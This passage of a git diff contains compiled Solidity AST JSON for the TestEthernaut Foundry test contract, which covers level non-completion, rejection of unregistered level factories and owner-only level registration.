"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5427:38:120","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint160","typeString":"uint160"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint160","typeString":"uint160"}],"id":58717,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"5419:7:120","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":58716,"name":"address","nodeType":"ElementaryTypeName","src":"5419:7:120","typeDescriptions":{}}},"id":58730,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5419:47:120","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"VariableDeclarationStatement","src":"5400:66:120"},{"assignments":[58734],"declarations":[{"constant":false,"id":58734,"mutability":"mutable","name":"dummy","nameLocation":"5482:5:120","nodeType":"VariableDeclaration","scope":58776,"src":"5476:11:120","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_Dummy_$52095","typeString":"contract Dummy"},"typeName":{"id":58733,"nodeType":"UserDefinedTypeName","pathNode":{"id":58732,"name":"Dummy","nameLocations":["5476:5:120"],"nodeType":"IdentifierPath","referencedDeclaration":52095,"src":"5476:5:120"},"referencedDeclaration":52095,"src":"5476:5:120","typeDescriptions":{"typeIdentifier":"t_contract$_Dummy_$52095","typeString":"contract Dummy"}},"visibility":"internal"}],"id":58738,"initialValue":{"arguments":[{"id":58736,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58715,"src":"5496:8:120","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":58735,"name":"Dummy","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":52095,"src":"5490:5:120","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Dummy_$52095_$","typeString":"type(contract Dummy)"}},"id":58737,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5490:15:120","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Dummy_$52095","typeString":"contract Dummy"}},"nodeType":"VariableDeclarationStatement","src":"5476:29:120"},{"expression":{"arguments":[{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":58740,"name":"dummy","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58734,"src":"5528:5:120","typeDescriptions":{"typeIdentifier":"t_contract$_Dummy_$52095","typeString":"contract Dummy"}},"id":58741,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"5534:9:120","memberName":"completed","nodeType":"MemberAccess","referencedDeclaration":52084,"src":"5528:15:120","typeDescriptions":{"typeIdentifier":"t_function_external_view$__$returns$_t_bool_$","typeString":"function () view external returns (bool)"}},"id":58742,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5528:17:120","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"id":58739,"name":"assertFalse","nodeType":"Identifier","overloadedDeclarations":[314,329],"referencedDeclaration":314,"src":"5516:11:120","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bool_$returns$__$","typeString":"function (bool) pure"}},"id":58743,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5516:30:120","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":58744,"nodeType":"ExpressionStatement","src":"5516:30:120"},{"expression":{"arguments":[{"arguments":[{"id":58748,"name":"user","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58060,"src":"5591:4:120","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"arguments":[{"id":58751,"name":"level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58660,"src":"5605:5:120","typeDescriptions":{"typeIdentifier":"t_contract$_DummyFactory_$52145","typeString":"contract DummyFactory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_DummyFactory_$52145","typeString":"contract DummyFactory"}],"id":58750,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"5597:7:120","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":58749,"name":"address","nodeType":"ElementaryTypeName","src":"5597:7:120","typeDescriptions":{}}},"id":58752,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5597:14:120","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":58746,"name":"stats","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58055,"src":"5568:5:120","typeDescriptions":{"typeIdentifier":"t_contract$_Statistics_$56450","typeString":"contract Statistics"}},"id":58747,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"5574:16:120","memberName":"isLevelCompleted","nodeType":"MemberAccess","referencedDeclaration":56143,"src":"5568:22:120","typeDescriptions":{"typeIdentifier":"t_function_external_view$_t_address_$_t_address_$returns$_t_bool_$","typeString":"function (address,address) view external returns (bool)"}},"id":58753,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5568:44:120","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"id":58745,"name":"assertFalse","nodeType":"Identifier","overloadedDeclarations":[314,329],"referencedDeclaration":314,"src":"5556:11:120","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bool_$returns$__$","typeString":"function (bool) pure"}},"id":58754,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5556:57:120","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":58755,"nodeType":"ExpressionStatement","src":"5556:57:120"},{"expression":{"arguments":[{"arguments":[{"id":58761,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58715,"src":"5661:8:120","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":58760,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"5653:8:120","typeDescriptions":{"typeIdentifier":"t_type$_t_address_payable_$","typeString":"type(address payable)"},"typeName":{"id":58759,"name":"address","nodeType":"ElementaryTypeName","src":"5653:8:120","stateMutability":"payable","typeDescriptions":{}}},"id":58762,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5653:17:120","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":58756,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58052,"src":"5623:9:120","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"id":58758,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"5633:19:120","memberName":"submitLevelInstance","nodeType":"MemberAccess","referencedDeclaration":49100,"src":"5623:29:120","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_payable_$returns$__$","typeString":"function (address payable) external"}},"id":58763,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5623:48:120","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":58764,"nodeType":"ExpressionStatement","src":"5623:48:120"},{"expression":{"arguments":[{"arguments":[{"id":58768,"name":"user","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58060,"src":"5716:4:120","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"arguments":[{"id":58771,"name":"level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58660,"src":"5730:5:120","typeDescriptions":{"typeIdentifier":"t_contract$_DummyFactory_$52145","typeString":"contract DummyFactory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_DummyFactory_$52145","typeString":"contract DummyFactory"}],"id":58770,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"5722:7:120","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":58769,"name":"address","nodeType":"ElementaryTypeName","src":"5722:7:120","typeDescriptions":{}}},"id":58772,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5722:14:120","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":58766,"name":"stats","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58055,"src":"5693:5:120","typeDescriptions":{"typeIdentifier":"t_contract$_Statistics_$56450","typeString":"contract Statistics"}},"id":58767,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"5699:16:120","memberName":"isLevelCompleted","nodeType":"MemberAccess","referencedDeclaration":56143,"src":"5693:22:120","typeDescriptions":{"typeIdentifier":"t_function_external_view$_t_address_$_t_address_$returns$_t_bool_$","typeString":"function (address,address) view external returns (bool)"}},"id":58773,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5693:44:120","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"id":58765,"name":"assertFalse","nodeType":"Identifier","overloadedDeclarations":[314,329],"referencedDeclaration":314,"src":"5681:11:120","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bool_$returns$__$","typeString":"function (bool) pure"}},"id":58774,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5681:57:120","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":58775,"nodeType":"ExpressionStatement","src":"5681:57:120"}]},"documentation":{"id":58649,"nodeType":"StructuredDocumentation","src":"4921:63:120","text":"@notice Should provide instances and verify non-completion."},"functionSelector":"2c60fe96","implemented":true,"kind":"function","modifiers":[],"name":"testLevelNonCompletion","nameLocation":"4998:22:120","parameters":{"id":58650,"nodeType":"ParameterList","parameters":[],"src":"5020:2:120"},"returnParameters":{"id":58651,"nodeType":"ParameterList","parameters":[],"src":"5030:0:120"},"scope":58855,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":58829,"nodeType":"FunctionDefinition","src":"5831:341:120","nodes":[],"body":{"id":58828,"nodeType":"Block","src":"5872:300:120","nodes":[],"statements":[{"expression":{"arguments":[{"id":58784,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58064,"src":"5896:5:120","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":58781,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"5882:2:120","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":58783,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"5885:10:120","memberName":"startPrank","nodeType":"MemberAccess","referencedDeclaration":15454,"src":"5882:13:120","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":58785,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5882:20:120","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":58786,"nodeType":"ExpressionStatement","src":"5882:20:120"},{"assignments":[58789],"declarations":[{"constant":false,"id":58789,"mutability":"mutable","name":"level","nameLocation":"5925:5:120","nodeType":"VariableDeclaration","scope":58828,"src":"5912:18:120","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_DummyFactory_$52145","typeString":"contract DummyFactory"},"typeName":{"id":58788,"nodeType":"UserDefinedTypeName","pathNode":{"id":58787,"name":"DummyFactory","nameLocations":["5912:12:120"],"nodeType":"IdentifierPath","referencedDeclaration":52145,"src":"5912:12:120"},"referencedDeclaration":52145,"src":"5912:12:120","typeDescriptions":{"typeIdentifier":"t_contract$_DummyFactory_$52145","typeString":"contract DummyFactory"}},"visibility":"internal"}],"id":58794,"initialValue":{"arguments":[],"expression":{"argumentTypes":[],"id":58792,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"NewExpression","src":"5933:16:120","typeDescriptions":{"typeIdentifier":"t_function_creation_nonpayable$__$returns$_t_contract$_DummyFactory_$52145_$","typeString":"function () returns (contract DummyFactory)"},"typeName":{"id":58791,"nodeType":"UserDefinedTypeName","pathNode":{"id":58790,"name":"DummyFactory","nameLocations":["5937:12:120"],"nodeType":"IdentifierPath","referencedDeclaration":52145,"src":"5937:12:120"},"referencedDeclaration":52145,"src":"5937:12:120","typeDescriptions":{"typeIdentifier":"t_contract$_DummyFactory_$52145","typeString":"contract DummyFactory"}}},"id":58793,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5933:18:120","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_DummyFactory_$52145","typeString":"contract DummyFactory"}},"nodeType":"VariableDeclarationStatement","src":"5912:39:120"},{"expression":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":58795,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"5961:2:120","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":58797,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"5964:9:120","memberName":"stopPrank","nodeType":"MemberAccess","referencedDeclaration":15466,"src":"5961:12:120","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$__$returns$__$","typeString":"function () external"}},"id":58798,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5961:14:120","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":58799,"nodeType":"ExpressionStatement","src":"5961:14:120"},{"expression":{"arguments":[{"id":58803,"name":"user","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58060,"src":"6000:4:120","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":58800,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"5986:2:120","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":58802,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"5989:10:120","memberName":"startPrank","nodeType":"MemberAccess","referencedDeclaration":15454,"src":"5986:13:120","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":58804,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5986:19:120","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":58805,"nodeType":"ExpressionStatement","src":"5986:19:120"},{"expression":{"arguments":[{"hexValue":"54686973206c6576656c20646f65736e277420657869737473","id":58809,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"6031:27:120","typeDescriptions":{"typeIdentifier":"t_stringliteral_e533ba49562bf1b5213195e369024cde6af90ae885982693f8c73a13bc763e49","typeString":"literal_string \"This level doesn't exists\""},"value":"This level doesn't exists"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_e533ba49562bf1b5213195e369024cde6af90ae885982693f8c73a13bc763e49","typeString":"literal_string \"This level doesn't exists\""}],"expression":{"id":58806,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"6015:2:120","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":58808,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"6018:12:120","memberName":"expectRevert","nodeType":"MemberAccess","referencedDeclaration":15646,"src":"6015:15:120","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) external"}},"id":58810,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6015:44:120","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":58811,"nodeType":"ExpressionStatement","src":"6015:44:120"},{"expression":{"arguments":[{"id":58815,"name":"level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58789,"src":"6099:5:120","typeDescriptions":{"typeIdentifier":"t_contract$_DummyFactory_$52145","typeString":"contract DummyFactory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_DummyFactory_$52145","typeString":"contract DummyFactory"}],"expression":{"id":58812,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58052,"src":"6069:9:120","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"id":58814,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"6079:19:120","memberName":"createLevelInstance","nodeType":"MemberAccess","referencedDeclaration":49017,"src":"6069:29:120","typeDescriptions":{"typeIdentifier":"t_function_external_payable$_t_contract$_Level_$55508_$returns$__$","typeString":"function (contract Level) payable external"}},"id":58816,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6069:36:120","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":58817,"nodeType":"ExpressionStatement","src":"6069:36:120"},{"expression":{"arguments":[{"arguments":[{"arguments":[{"id":58823,"name":"level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58789,"src":"6157:5:120","typeDescriptions":{"typeIdentifier":"t_contract$_DummyFactory_$52145","typeString":"contract DummyFactory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_DummyFactory_$52145","typeString":"contract DummyFactory"}],"id":58822,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"6149:7:120","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":58821,"name":"address","nodeType":"ElementaryTypeName","src":"6149:7:120","typeDescriptions":{}}},"id":58824,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6149:14:120","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":58819,"name":"stats","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58055,"src":"6128:5:120","typeDescriptions":{"typeIdentifier":"t_contract$_Statistics_$56450","typeString":"contract Statistics"}},"id":58820,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"6134:14:120","memberName":"doesLevelExist","nodeType":"MemberAccess","referencedDeclaration":56411,"src":"6128:20:120","typeDescriptions":{"typeIdentifier":"t_function_external_view$_t_address_$returns$_t_bool_$","typeString":"function (address) view external returns (bool)"}},"id":58825,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6128:36:120","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"id":58818,"name":"assertFalse","nodeType":"Identifier","overloadedDeclarations":[314,329],"referencedDeclaration":314,"src":"6116:11:120","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bool_$returns$__$","typeString":"function (bool) pure"}},"id":58826,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6116:49:120","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":58827,"nodeType":"ExpressionStatement","src":"6116:49:120"}]},"documentation":{"id":58778,"nodeType":"StructuredDocumentation","src":"5751:75:120","text":"@notice Should not provide instances to non-registered level factories."},"functionSelector":"6aeac891","implemented":true,"kind":"function","modifiers":[],"name":"testNonRegisteredLevel","nameLocation":"5840:22:120","parameters":{"id":58779,"nodeType":"ParameterList","parameters":[],"src":"5862:2:120"},"returnParameters":{"id":58780,"nodeType":"ParameterList","parameters":[],"src":"5872:0:120"},"scope":58855,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":58854,"nodeType":"FunctionDefinition","src":"6251:191:120","nodes":[],"body":{"id":58853,"nodeType":"Block","src":"6285:157:120","nodes":[],"statements":[{"assignments":[58835],"declarations":[{"constant":false,"id":58835,"mutability":"mutable","name":"level","nameLocation":"6308:5:120","nodeType":"VariableDeclaration","scope":58853,"src":"6295:18:120","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_DummyFactory_$52145","typeString":"contract DummyFactory"},"typeName":{"id":58834,"nodeType":"UserDefinedTypeName","pathNode":{"id":58833,"name":"DummyFactory","nameLocations":["6295:12:120"],"nodeType":"IdentifierPath","referencedDeclaration":52145,"src":"6295:12:120"},"referencedDeclaration":52145,"src":"6295:12:120","typeDescriptions":{"typeIdentifier":"t_contract$_DummyFactory_$52145","typeString":"contract DummyFactory"}},"visibility":"internal"}],"id":58840,"initialValue":{"arguments":[],"expression":{"argumentTypes":[],"id":58838,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"NewExpression","src":"6316:16:120","typeDescriptions":{"typeIdentifier":"t_function_creation_nonpayable$__$returns$_t_contract$_DummyFactory_$52145_$","typeString":"function () returns (contract DummyFactory)"},"typeName":{"id":58837,"nodeType":"UserDefinedTypeName","pathNode":{"id":58836,"name":"DummyFactory","nameLocations":["6320:12:120"],"nodeType":"IdentifierPath","referencedDeclaration":52145,"src":"6320:12:120"},"referencedDeclaration":52145,"src":"6320:12:120","typeDescriptions":{"typeIdentifier":"t_contract$_DummyFactory_$52145","typeString":"contract DummyFactory"}}},"id":58839,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6316:18:120","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_DummyFactory_$52145","typeString":"contract DummyFactory"}},"nodeType":"VariableDeclarationStatement","src":"6295:39:120"},{"expression":{"arguments":[{"hexValue":"4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572","id":58844,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"6360:34:120","typeDescriptions":{"typeIdentifier":"t_stringliteral_9924ebdf1add33d25d4ef888e16131f0a5687b0580a36c21b5c301a6c462effe","typeString":"literal_string \"Ownable: caller is not the owner\""},"value":"Ownable: caller is not the owner"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_9924ebdf1add33d25d4ef888e16131f0a5687b0580a36c21b5c301a6c462effe","typeString":"literal_string \"Ownable: caller is not the owner\""}],"expression":{"id":58841,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"6344:2:120","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":58843,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"6347:12:120","memberName":"expectRevert","nodeType":"MemberAccess","referencedDeclaration":15646,"src":"6344:15:120","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) external"}},"id":58845,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6344:51:120","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":58846,"nodeType":"ExpressionStatement","src":"6344:51:120"},{"expression":{"arguments":[{"id":58850,"name":"level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58835,"src":"6429:5:120","typeDescriptions":{"typeIdentifier":"t_contract$_DummyFactory_$52145","typeString":"contract DummyFactory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_DummyFactory_$52145","typeString":"contract DummyFactory"}],"expression":{"id":58847,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58052,"src":"6405:9:120","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"id":58849,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"6415:13:120","memberName":"registerLevel","nodeType":"MemberAccess","referencedDeclaration":48913,"src":"6405:23:120","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_contract$_Level_$55508_$returns$__$","typeString":"function (contract Level) external"}},"id":58851,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6405:30:120","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":58852,"nodeType":"ExpressionStatement","src":"6405:30:120"}]},"documentation":{"id":58830,"nodeType":"StructuredDocumentation","src":"6178:68:120","text":"@notice Should not allow anyone but the owner to upload a level."},"functionSelector":"306d664e","implemented":true,"kind":"function","modifiers":[],"name":"testUploadLevel","nameLocation":"6260:15:120","parameters":{"id":58831,"nodeType":"ParameterList","parameters":[],"src":"6275:2:120"},"returnParameters":{"id":58832,"nodeType":"ParameterList","parameters":[],"src":"6285:0:120"},"scope":58855,"stateMutability":"nonpayable","virtual":false,"visibility":"public"}],"abstract":false,"baseContracts":[{"baseName":{"id":58048,"name":"Test","nameLocations":["538:4:120"],"nodeType":"IdentifierPath","referencedDeclaration":12027,"src":"538:4:120"},"id":58049,"nodeType":"InheritanceSpecifier","src":"538:4:120"}],"canonicalName":"TestEthernaut","contractDependencies":[49101,49625,52145,52434,56450,58028,66673],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[58855,12027,11975,6655,6330,5537,3477,2695,65,62],"name":"TestEthernaut","nameLocation":"521:13:120","scope":58856,"usedErrors":[],"usedEvents":[100,104,108,112,116,120,124,128,134,140,148,156,162,168,174,180,185,190,195,202,209,216]}],"license":"MIT"},"id":120} \ No newline at end of file diff --git a/contracts/out/Fallback.sol/Fallback.json b/contracts/out/Fallback.sol/Fallback.json new file mode 100644 index 000000000..0461ee31e --- /dev/null +++ b/contracts/out/Fallback.sol/Fallback.json @@ -0,0 +1 @@ 